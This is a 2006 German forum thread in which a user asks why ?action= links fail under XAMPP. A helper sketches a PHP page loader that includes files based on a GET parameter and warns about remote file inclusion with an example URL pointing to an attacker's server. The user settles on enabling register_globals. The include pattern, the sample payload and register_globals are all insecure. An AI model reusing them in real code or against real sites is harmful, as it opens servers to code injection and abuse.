kostenloser Webspace werbefrei: lima-city


Xampp - ?action links funktionieren nicht??

lima-cityForumHeim-PCSoftware

  1. Autor dieses Themas

    s*********e

    Hi, bei meinem neuen Xampp funktionieren links wie ?action=about

    nicht... wieso nicht? kann ihc das irgendwo umstellen, dass es aktiviert w?rd?


    mfg

    specialdune
  2. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

  3. Quelltext w?re schon ganz gut... :confused:

    Also du rufst eine Seite mit

    index.php?action=impressum oder
    index.php?action=start

    auf richtig? Ich habe den Artikel (oder besser gesagt, die x-Millionen Artikel) auch gelesen und versuche das jetzt mal aus dem Kopf nachzubilden

    Du hast einen Header, eine Navigation, den Hauptbereich und evtl. einen Footer

    include('header.php');
    include('navi.php');


    und nun der nachgeladene Inhalt

    Der Server schmeisst immer nur die index.php, wenn du den GET- und und bei Formularen den POST-Wert nicht abf?ngst

    if ($_GET[action] == 'impressum') {
        include('impressum.php')
    } elseif ($_GET[action] == 'start') {
        include('start')
    } else {
        include('index.php') 
    }
    
    
    // und zum Schluss der Footer
    include('footer.php')


    Aber Achtung... vorher eine Whitelist mit einem Array erstellen! Und vergleichen... sonst kommt ein b?ser Cracker und schreibt in die URL

    www.deine-verwundbare-Domain.de/index.php?action='http://mein-server-ist-gemein.net/spam.php';

    dann w?rdest du n?mlich ein Script auf meinem Server aufrufen und z.B. Spam-Mails verschicken...

    oder die .htaccess k?nnte unter Umst?nden ausgelesen werden
  4. Autor dieses Themas

    s*********e

    thx... aber habe auhc ein paar linsk mit GET gemacht
    ...




    aber kann man nich eistellen das er einfach nur erkennt if($action="") ???
  5. OMG! :biggrin:

    $_GET ist ein vorgegebenes Array...

    index.php?get=seite w?rde ich nicht empfehlen

    k?nnte zwar klappen, aber ich weiss es nicht


    poste doch einfach deinen Quelltext und dann helfe ich dir gerne weiter, solange ich nicht selber nachgucken muss ;o)

    sonst http://de.php.net oder googlen ;o)
  6. Autor dieses Themas

    s*********e


    OMG! :biggrin:

    $_GET ist ein vorgegebenes Array...

    index.php?get=seite w?rde ich nicht empfehlen

    k?nnte zwar klappen, aber ich weiss es nicht


    poste doch einfach deinen Quelltext und dann helfe ich dir gerne weiter, solange ich nicht selber nachgucken muss ;o)

    sonst http://de.php.net oder googlen ;o)
    #


    das wie? ich wohl auch!!!

    ich will doch nur wissen ob man das umstellen kann!!

    xD


    so deutlicher??:blah:

    ps : ich meinte vorhin damit das:

    if($_GET["action"]=="about") { echo "bllaaaa"; }

    so war das gemeint....:slant:

    Beitrag ge?ndert am 27.01.2006 21:07 von specialdune
  7. dann verstehe ich dein Problem nicht... :confused:
  8. Autor dieses Themas

    s*********e


    dann verstehe ich dein Problem nicht... :confused:



    habs rausgefunden...

    musste register_globals auf ON setzen...die n?chsten pages scripte ich aber so, dass auch off geht^^
  9. das solltest du wirklich... dann nimm doch einfach die "Suchen und Ersetzen"-Funktion im Editor deines Vertrauens und ersetze $GET in $_GET
  10. Autor dieses Themas

    s*********e


    das solltest du wirklich... dann nimm doch einfach die "Suchen und Ersetzen"-Funktion im Editor deines Vertrauens und ersetze $GET in $_GET


    nur das ich $get kann ich habe :D


    ich habe z.b. $action oder $show etc...^^ aber bin shcon dabei alles selbst zu ersetzten^^

    frage gekl?rt^^

    thx(wof?r auch immer xD)
  11. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

Dir gefällt dieses Thema?

Über lima-city

Login zum Webhosting ohne Werbung!